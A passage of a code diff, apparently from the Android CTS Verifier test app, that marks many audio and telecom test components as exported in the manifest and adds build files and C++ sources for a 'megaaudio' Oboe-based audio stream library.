             <meta-data android:name="test_excluded_features" android:value="android.software.leanback" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+            <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
         <activity android:name=".audio.AudioInputRoutingNotificationsActivity"
+                android:exported="true"
                   android:label="@string/audio_input_routingnotifications_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4416,11 +4670,11 @@
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
             <meta-data android:name="test_required_features" android:value="android.hardware.microphone" />
             <meta-data android:name="test_excluded_features" android:value="android.software.leanback" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+            <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
         <activity android:name=".audio.USBAudioPeripheralAttributesActivity"
+                android:exported="true"
                   android:label="@string/audio_uap_attribs_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4430,11 +4684,11 @@
             <meta-data android:name="test_required_features" android:value="android.hardware.usb.host" />
             <meta-data android:name="test_excluded_features"
                        android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+            <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
         <activity android:name=".audio.USBAudioPeripheralNotificationsTest"
+                android:exported="true"
                   android:label="@string/audio_uap_notifications_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4444,11 +4698,11 @@
             <meta-data android:name="test_required_features" android:value="android.hardware.usb.host" />
             <meta-data android:name="test_excluded_features"
                        android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+            <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
         <activity android:name=".audio.USBAudioPeripheralPlayActivity"
+                android:exported="true"
                   android:label="@string/audio_uap_play_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4458,11 +4712,11 @@
             <meta-data android:name="test_required_features" android:value="android.hardware.usb.host" />
             <meta-data android:name="test_excluded_features"
                        android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+            <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
         <activity android:name=".audio.USBAudioPeripheralRecordActivity"
+                android:exported="true"
                   android:label="@string/audio_uap_record_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4472,11 +4726,11 @@
             <meta-data android:name="test_required_features" android:value="android.hardware.usb.host" />
             <meta-data android:name="test_excluded_features"
                        android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+            <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
         <activity android:name=".audio.USBAudioPeripheralButtonsActivity"
+                android:exported="true"
             android:label="@string/audio_uap_buttons_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4486,11 +4740,11 @@
             <meta-data android:name="test_required_features" android:value="android.hardware.usb.host" />
             <meta-data android:name="test_excluded_features"
                        android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+            <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
         <activity android:name=".audio.USBRestrictRecordAActivity"
+                android:exported="true"
                   android:label="@string/audio_usb_restrict_record_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4500,11 +4754,11 @@
             <meta-data android:name="test_required_features" android:value="android.hardware.usb.host" />
             <meta-data android:name="test_excluded_features"
                        android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+            <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
         <activity android:name=".audio.ProAudioActivity"
+                android:exported="true"
                   android:label="@string/pro_audio_latency_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4512,14 +4766,22 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
             <meta-data android:name="test_required_features" android:value="android.hardware.usb.host:android.hardware.audio.pro" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+            <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
-        <!-- ProAudio test invokes the "Loopback" App -->
-        <activity android:name="org.drrickorang.loopback"/>
+        <activity android:name=".audio.AnalogHeadsetAudioActivity"
+                android:exported="true"
+            android:label="@string/audio_headset_audio_test">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_audio" />
+            <meta-data android:name="display_mode" android:value="multi_display_mode" />
+        </activity>
 
         <activity android:name=".audio.AudioLoopbackLatencyActivity"
+                android:exported="true"
                   android:label="@string/audio_loopback_latency_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4529,11 +4791,11 @@
             <meta-data android:name="test_required_features" android:value="android.hardware.microphone:android.hardware.audio.output" />
             <meta-data android:name="test_excluded_features"
                        android:value="android.hardware.type.watch:android.hardware.type.television" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+            <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
         <activity android:name=".audio.MidiActivity"
+                android:exported="true"
                   android:label="@string/midi_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4542,11 +4804,11 @@
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
             <meta-data android:name="test_required_features"
                 android:value="android.hardware.usb.host:android.software.midi" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+            <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
         <activity android:name=".audio.NDKMidiActivity"
+                android:exported="true"
                   android:label="@string/ndk_midi_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4555,11 +4817,11 @@
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
             <meta-data android:name="test_required_features"
                 android:value="android.hardware.usb.host:android.software.midi" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+            <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
         <service android:name="com.android.midi.MidiEchoTestService"
+                android:exported="true"
             android:permission="android.permission.BIND_MIDI_DEVICE_SERVICE">
             <intent-filter>
                 <action android:name="android.media.midi.MidiDeviceService" />
@@ -4569,6 +4831,7 @@
         </service>
 
         <activity android:name=".audio.AudioFrequencyLineActivity"
+                android:exported="true"
                   android:label="@string/audio_frequency_line_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4576,11 +4839,11 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
             <meta-data android:name="test_required_features" android:value="android.hardware.microphone:android.hardware.audio.output" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+            <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
         <activity android:name=".audio.AudioFrequencySpeakerActivity"
+                android:exported="true"
                   android:label="@string/audio_frequency_speaker_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4588,11 +4851,11 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
             <meta-data android:name="test_required_features" android:value="android.hardware.audio.output:android.hardware.usb.host" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+            <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
         <activity android:name=".audio.AudioFrequencyMicActivity"
+                android:exported="true"
                   android:label="@string/audio_frequency_mic_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4600,11 +4863,11 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
             <meta-data android:name="test_required_features" android:value="android.hardware.microphone:android.hardware.audio.output:android.hardware.usb.host" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+            <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
         <activity android:name=".audio.AudioFrequencyUnprocessedActivity"
+                android:exported="true"
                   android:label="@string/audio_frequency_unprocessed_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4612,11 +4875,11 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
             <meta-data android:name="test_required_features" android:value="android.hardware.microphone:android.hardware.usb.host" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+            <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
         <activity android:name=".audio.AudioFrequencyVoiceRecognitionActivity"
+                android:exported="true"
                   android:label="@string/audio_frequency_voice_recognition_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4624,11 +4887,11 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
             <meta-data android:name="test_required_features" android:value="android.hardware.microphone:android.hardware.usb.host" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+            <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
         <activity android:name=".audio.AudioAEC"
+                android:exported="true"
                   android:label="@string/audio_aec_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4636,11 +4899,11 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_audio" />
             <meta-data android:name="test_required_features" android:value="android.hardware.microphone:android.hardware.audio.output" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+            <meta-data android:name="display_mode" android:value="multi_display_mode" />
         </activity>
 
         <service android:name=".tv.MockTvInputService"
+                android:exported="true"
             android:permission="android.permission.BIND_TV_INPUT">
             <intent-filter>
                 <action android:name="android.media.tv.TvInputService" />
@@ -4649,7 +4912,8 @@
                 android:resource="@xml/mock_tv_input_service" />
         </service>
 
-        <receiver android:name=".tv.TvInputReceiver">
+        <receiver android:name=".tv.TvInputReceiver"
+            android:exported="true">
             <intent-filter>
                 <action android:name="android.media.tv.action.QUERY_CONTENT_RATING_SYSTEMS" />
             </intent-filter>
@@ -4773,6 +5037,7 @@
         <!-- 6DoF sensor test -->
         <activity
                 android:name="com.android.cts.verifier.sensors.sixdof.Activities.StartActivity"
+                android:exported="true"
                 android:label="@string/six_dof_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
@@ -4790,6 +5055,7 @@
         </activity>
 
         <activity android:name=".voicemail.VoicemailBroadcastActivity"
+                android:exported="true"
           android:label="@string/voicemail_broadcast_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4815,7 +5081,8 @@
                        android:value="multi_display_mode" />
         </activity>
 
-        <receiver android:name=".voicemail.VoicemailBroadcastReceiver">
+        <receiver android:name=".voicemail.VoicemailBroadcastReceiver"
+            android:exported="true">
             <intent-filter>
                 <action android:name="android.telephony.action.SHOW_VOICEMAIL_NOTIFICATION" />
             </intent-filter>
@@ -4823,6 +5090,7 @@
 
         <activity
             android:name=".voicemail.VisualVoicemailServiceActivity"
+                android:exported="true"
             android:label="@string/visual_voicemail_service_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
@@ -4844,6 +5112,7 @@
 
         <activity
             android:name=".dialer.DialerIncomingCallTestActivity"
+                android:exported="true"
             android:label="@string/dialer_incoming_call_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
@@ -4864,6 +5133,7 @@
         </activity>
 
         <service android:name=".dialer.DialerCallTestService"
+                android:exported="true"
             android:permission="android.permission.BIND_INCALL_SERVICE">
             <meta-data android:name="android.telecom.IN_CALL_SERVICE_UI" android:value="true" />
             <intent-filter>
@@ -4873,6 +5143,7 @@
 
         <activity
             android:name=".dialer.DialerShowsHunOnIncomingCallActivity"
+                android:exported="true"
             android:label="@string/dialer_shows_hun_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
@@ -4894,6 +5165,7 @@
 
         <activity
             android:name=".voicemail.CallSettingsCheckActivity"
+                android:exported="true"
             android:label="@string/call_settings_check_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
@@ -4915,6 +5187,7 @@
 
         <activity
             android:name=".voicemail.VoicemailSettingsCheckActivity"
+                android:exported="true"
             android:label="@string/ringtone_settings_check_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
@@ -4936,6 +5209,7 @@
 
         <activity
             android:name=".dialer.DialerImplementsTelecomIntentsActivity"
+                android:exported="true"
             android:label="@string/dialer_telecom_intents_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
@@ -4966,6 +5240,7 @@
 
         <activity
             android:name=".telecom.EnablePhoneAccountTestActivity"
+                android:exported="true"
             android:label="@string/telecom_enable_phone_account_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
@@ -4987,6 +5262,7 @@
 
         <activity
             android:name=".telecom.OutgoingCallTestActivity"
+                android:exported="true"
             android:label="@string/telecom_outgoing_call_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
@@ -5008,6 +5284,7 @@
 
         <activity
             android:name=".telecom.SelfManagedIncomingCallTestActivity"
+                android:exported="true"
             android:label="@string/telecom_incoming_self_mgd_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
@@ -5029,6 +5306,7 @@
 
         <activity
             android:name=".telecom.IncomingCallTestActivity"
+                android:exported="true"
             android:label="@string/telecom_incoming_call_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
@@ -5049,6 +5327,7 @@
         </activity>
 
         <activity android:name=".telecom.TelecomDefaultDialerTestActivity"
+                android:exported="true"
                   android:label="@string/telecom_default_dialer_test_title">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -5069,6 +5348,7 @@
         </activity>
 
         <activity android:name=".telecom.CtsVerifierInCallUi"
+                android:exported="true"
                   android:label="@string/telecom_in_call_ui_label">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -5085,12 +5365,14 @@
         </activity>
 
         <service android:name="com.android.cts.verifier.telecom.CtsConnectionService"
+                android:exported="true"
             android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE" >
             <intent-filter>
                 <action android:name="android.telecom.ConnectionService" />
             </intent-filter>
         </service>
         <service android:name="com.android.cts.verifier.telecom.CtsSelfManagedConnectionService"
+                android:exported="true"
             android:permission="android.permission.BIND_TELECOM_CONNECTION_SERVICE" >
             <intent-filter>
                 <action android:name="android.telecom.ConnectionService" />
@@ -5098,6 +5380,7 @@
         </service>
 
         <activity android:name=".instantapps.NotificationTestActivity"
+                android:exported="true"
                  android:label="@string/ia_notification">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -5109,6 +5392,7 @@
                        android:value="multi_display_mode" />
         </activity>
         <activity android:name=".instantapps.RecentAppsTestActivity"
+                android:exported="true"
                  android:label="@string/ia_recents">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -5120,6 +5404,7 @@
                        android:value="multi_display_mode" />
         </activity>
         <activity android:name=".instantapps.AppInfoTestActivity"
+                android:exported="true"
                  android:label="@string/ia_app_info">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -5133,6 +5418,7 @@
         </activity>
 
         <activity android:name=".displaycutout.DisplayCutoutTestActivity"
+                android:exported="true"
                   android:label="@string/display_cutout_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -5142,6 +5428,17 @@
             <meta-data android:name="display_mode"
                        android:value="single_display_mode" />
         </activity>
+        <activity android:name=".speech.tts.TtsTestActivity"
+                  android:label="@string/tts_test">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_other" />
+            <meta-data android:name="test_excluded_features" android:value="android.hardware.type.watch" />
+            <meta-data android:name="display_mode"
+                       android:value="multi_display_mode" />
+        </activity>
     </application>
 
     <queries>
diff --git a/apps/CtsVerifier/jni/audio_loopback/Android.bp b/apps/CtsVerifier/jni/audio_loopback/Android.bp
index 97da63f..3977c79 100644
--- a/apps/CtsVerifier/jni/audio_loopback/Android.bp
+++ b/apps/CtsVerifier/jni/audio_loopback/Android.bp
@@ -1,16 +1,14 @@
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test_library {
     name: "libaudioloopback_jni",
     srcs: [
         "jni-bridge.cpp",
-        "NativeAudioAnalyzer.cpp",
+        "NativeAudioAnalyzer.cpp"
     ],
     include_dirs: [
         "frameworks/av/media/ndk/include",
         "system/core/include/cutils",
+        "cts/apps/CtsVerifier/jni/megaaudio/player",
+        "cts/apps/CtsVerifier/jni/megaaudio/recorder"
     ],
     header_libs: ["jni_headers"],
     shared_libs: [
@@ -22,6 +20,7 @@
     cflags: [
         "-Werror",
         "-Wall",
+        "-Wno-unused-parameter",
         // For slCreateEngine
         "-Wno-deprecated",
     ],
diff --git a/apps/CtsVerifier/jni/megaaudio/Android.bp b/apps/CtsVerifier/jni/megaaudio/Android.bp
new file mode 100644
index 0000000..3c84334
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/Android.bp
@@ -0,0 +1,52 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+cc_test_library {
+    name: "libmegaaudio_jni",
+    srcs: [
+        "common/OboeStream.cpp",
+        "common/StreamBase.cpp",
+        "player/NativeAudioSource.cpp",
+        "player/NoiseAudioSource.cpp",
+        "player/OboePlayer.cpp",
+        "player/SinAudioSource.cpp",
+        "player/WaveTableSource.cpp",
+        "recorder/AppCallbackAudioSink.cpp",
+        "recorder/DefaultAudioSink.cpp",
+        "recorder/NativeAudioSink.cpp",
+        "recorder/OboeRecorder.cpp",
+    ],
+    sdk_version: "current",
+    stl: "libc++_static",
+    header_libs: ["jni_headers"],
+    include_dirs: [
+        "cts/apps/CtsVerifier/jni/megaaudio/common",
+        "external/oboe/include",
+    ],
+    shared_libs: [
+        "liblog",
+        "libOpenSLES",
+    ],
+    static_libs: [
+        "oboe",
+    ],
+    cflags: [
+        "-Wall",
+        "-Werror",
+        "-Wno-unused-parameter",
+        "-Wno-unused-variable",
+    ],
+}
diff --git a/apps/CtsVerifier/jni/megaaudio/common/OboeStream.cpp b/apps/CtsVerifier/jni/megaaudio/common/OboeStream.cpp
new file mode 100644
index 0000000..c2dad94
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/common/OboeStream.cpp
@@ -0,0 +1,111 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <android/log.h>
+
+#include <oboe/Oboe.h>
+
+#include "OboeStream.h"
+
+static const char * const TAG = "OboePlayer(native)";
+
+using namespace oboe;
+
+StreamBase::Result OboeStream::OboeErrorToMegaAudioError(oboe::Result oboeError) {
+
+    StreamBase::Result maErr = ERROR_UNKNOWN;
+
+    switch (oboeError) {
+        case oboe::Result::OK:
+            maErr = OK;
+            break;
+        case oboe::Result::ErrorInternal:
+            maErr = ERROR_UNKNOWN;
+            break;
+        case oboe::Result::ErrorClosed:
+            maErr = ERROR_INVALID_STATE;
+            break;
+        default:
+            maErr = ERROR_UNKNOWN;
+            break;
+    }
+
+    return maErr;
+}
+
+StreamBase::Result OboeStream::teardownStream() {
+    __android_log_print(ANDROID_LOG_INFO, TAG, "teardownStream()");
+
+    std::lock_guard<std::mutex> lock(mStreamLock);
+    return teardownStream_l();
+}
+
+StreamBase::Result OboeStream::teardownStream_l() {
+    // tear down the player
+    if (mAudioStream == nullptr) {
+        return ERROR_INVALID_STATE;
+    } else {
+        oboe::Result result = oboe::Result::OK;
+        result = mAudioStream->stop();
+        if (result == oboe::Result::OK) {
+            result = mAudioStream->close();
+        }
+        mAudioStream = nullptr;
+        return OboeErrorToMegaAudioError(result);
+    }
+}
+
+StreamBase::Result OboeStream::startStream() {
+    __android_log_print(ANDROID_LOG_INFO, TAG, "startStream()");
+
+    // Don't cover up (potential) bugs in AAudio
+    oboe::OboeGlobals::setWorkaroundsEnabled(false);
+
+    std::lock_guard<std::mutex> lock(mStreamLock);
+
+    oboe::Result result = oboe::Result::ErrorInternal;
+    if (mAudioStream != nullptr) {
+        result = mAudioStream->requestStart();
+        if (result != oboe::Result::OK){
+            __android_log_print(
+                    ANDROID_LOG_ERROR,
+                    TAG,
+                    "requestStart failed. Error: %s", convertToText(result));
+
+            // clean up
+            teardownStream_l();
+        }
+    }
+    mStreamStarted = result == oboe::Result::OK;
+
+    return OboeErrorToMegaAudioError(result);
+}
+
+StreamBase::Result OboeStream::stopStream() {
+    std::lock_guard<std::mutex> lock(mStreamLock);
+
+    Result errCode = ERROR_UNKNOWN;
+    if (mAudioStream == nullptr) {
+        errCode = ERROR_INVALID_STATE;
+    } else {
+        oboe::Result result = mAudioStream->stop();
+        mStreamStarted = false;
+
+        errCode = OboeErrorToMegaAudioError(result);
+    }
+
+    mStreamStarted = false;
+    return errCode;
+}
diff --git a/apps/CtsVerifier/jni/megaaudio/common/OboeStream.h b/apps/CtsVerifier/jni/megaaudio/common/OboeStream.h
new file mode 100644
index 0000000..a622ddd
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/common/OboeStream.h
@@ -0,0 +1,50 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef MEGA_COMMON_OBOESTREAM_H
+#define MEGA_COMMON_OBOESTREAM_H
+
+#include <cstdint>
+#include <mutex>
+
+#include <StreamBase.h>
+
+class OboeStream: public StreamBase {
+public:
+    static Result OboeErrorToMegaAudioError(oboe::Result oboeError);
+
+    virtual Result teardownStream() override;
+
+    virtual Result startStream() override;
+    virtual Result stopStream() override;
+
+protected:
+    OboeStream(int32_t subtype) : mSubtype(subtype), mStreamStarted(false) {}
+
+    // determine native back-end to use.
+    // either SUB_TYPE_OBOE_DEFAULT, SUB_TYPE_OBOE_AAUDIO or SUB_TYPE_OBOE_OPENSL_ES
+    int32_t mSubtype;
+
+    // Oboe Audio Stream
+    std::shared_ptr<oboe::AudioStream>  mAudioStream;
+    bool    mStreamStarted;
+
+    std::mutex mStreamLock;
+
+    Result teardownStream_l();
+};
+
+#endif //MEGA_COMMON_OBOESTREAM_H
diff --git a/apps/CtsVerifier/jni/megaaudio/common/StreamBase.cpp b/apps/CtsVerifier/jni/megaaudio/common/StreamBase.cpp
new file mode 100644
index 0000000..4339cbf
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/common/StreamBase.cpp
@@ -0,0 +1,19 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "StreamBase.h"
+
+//TODO Currently there are no, non-inline, non-pure-virtual methods of StreamBase.
diff --git a/apps/CtsVerifier/jni/megaaudio/common/StreamBase.h b/apps/CtsVerifier/jni/megaaudio/common/StreamBase.h
new file mode 100644
index 0000000..fc34de8
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/common/StreamBase.h
@@ -0,0 +1,110 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef MEGA_COMMON_STREAMBASE_H
+#define MEGA_COMMON_STREAMBASE_H
+
+#include <cstdint>
+
+class AudioSink;
+
+class StreamBase {
+public:
+    //
+    // Error Codes
+    // These values must be kept in sync with the equivalent symbols in
+    // org.hyphonate.megaaudio.common.Streambase.java
+    //
+    enum Result {
+        OK = 0,
+        ERROR_UNKNOWN = -1,
+        ERROR_UNSUPPORTED = -2,
+        ERROR_INVALID_STATE = -3
+    };
+
+    StreamBase() :
+        mChannelCount(0),
+        mSampleRate(0),
+        mRouteDeviceId(ROUTING_DEVICE_NONE),
+        mBufferSizeInFrames(-1) {}
+    virtual ~StreamBase() {}
+
+    //
+    // Attributes
+    //
+    static const int32_t ROUTING_DEVICE_NONE    = -1;
+    int32_t getRoutedDeviceId() const { return mRouteDeviceId; }
+
+    int32_t getNumBufferFrames() const { return mBufferSizeInFrames; }
+
+    //
+    // State
+    //
+    /**
+     * Initializes the audio stream as specified, but does not start the stream. Specifically,
+     * concrete subclasses should do whatever initialization and resource allocation required
+     * such that the stream can be started (in startStream()) as quickly as possible.
+     *
+     * The expectation is that this method will be synchronous in concrete subclasses.
+     *
+     * @param channelCount  the number of channels in the audio data
+     * @param sampleRate the desired playback sample rate
+     * @param the device id of the device to route the audio to.
+     * @param a pointer to an AudioSource (subclass) object which will provide the audio data.
+     * @return ERROR_NONE if successful, otherwise an error code
+     */
+    virtual Result setupStream(int32_t channelCount, int32_t sampleRate, int32_t routeDeviceId) = 0;
+
+    /**
+     * Deinitializes the stream.
+     * Concrete subclasses should stop the stream (is not already stopped) and deallocate any
+     * resources being used by the stream.
+     * The stream cannot be started again without another call to setupAudioStream().
+     *
+     * The expectation is that this method will be synchronous in concrete subclasses.
+     * @return ERROR_NONE if successful, otherwise an error code
+     */
+    virtual Result teardownStream() = 0;
+
+    /**
+     * Begin the playback/recording process.
+     *
+     * In concrete subclasses, this may be either synchronous or asynchronous.
+     * @return ERROR_NONE if successful, otherwise an error code
+     */
+    virtual Result startStream() = 0;
+
+    /**
+     * Stop the playback/recording process.
+     *
+     * In concrete subclasses, this may be either synchronous or asynchronous.
+     */
+    virtual Result stopStream() = 0;
+
+protected:
+    // Audio attributes
+    int32_t mChannelCount;
+    int32_t mSampleRate;
+    int32_t mRouteDeviceId;
+    int32_t mBufferSizeInFrames;
+
+    // from org.hyphonate.megaaudio.common.BuilderBase
+    static const int32_t SUB_TYPE_OBOE_AAUDIO       = 0x0001;
+    static const int32_t SUB_TYPE_OBOE_OPENSL_ES    = 0x0002;
+};
+
+#endif // MEGA_COMMON_STREAMBASE_H
+
diff --git a/apps/CtsVerifier/jni/megaaudio/player/AudioSource.h b/apps/CtsVerifier/jni/megaaudio/player/AudioSource.h
new file mode 100644
index 0000000..20dd5b4
--- /dev/null
+++ b/apps/CtsVerifier/jni/megaaudio/player/AudioSource.h
@@ -0,0 +1,64 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef MEGA_PLAYER_AUDIOSOURCE_H
+#define MEGA_PLAYER_AUDIOSOURCE_H
+
+class AudioSource {
+public:
+    AudioSource() {}
+    virtual ~AudioSource() {}
+
+    static const int NUMCHANNELS_UNSPECIFIED = -1;
+    static const int NUMCHANNELS_ERROR = -2;
+    virtual int getNumChannels() { return NUMCHANNELS_UNSPECIFIED; }
+
+    // Encoding Constants (specific to MegaAudio)
+    static const int ENCODING_UNSPECIFIED = -1;
+    static const int ENCODING_ERROR = -2;
+    static const int ENCODING_UNINITIALIZED = 0;
+    static const int ENCODING_FLOAT = 1;
+    static const int ENCODING_PCM16 = 2;
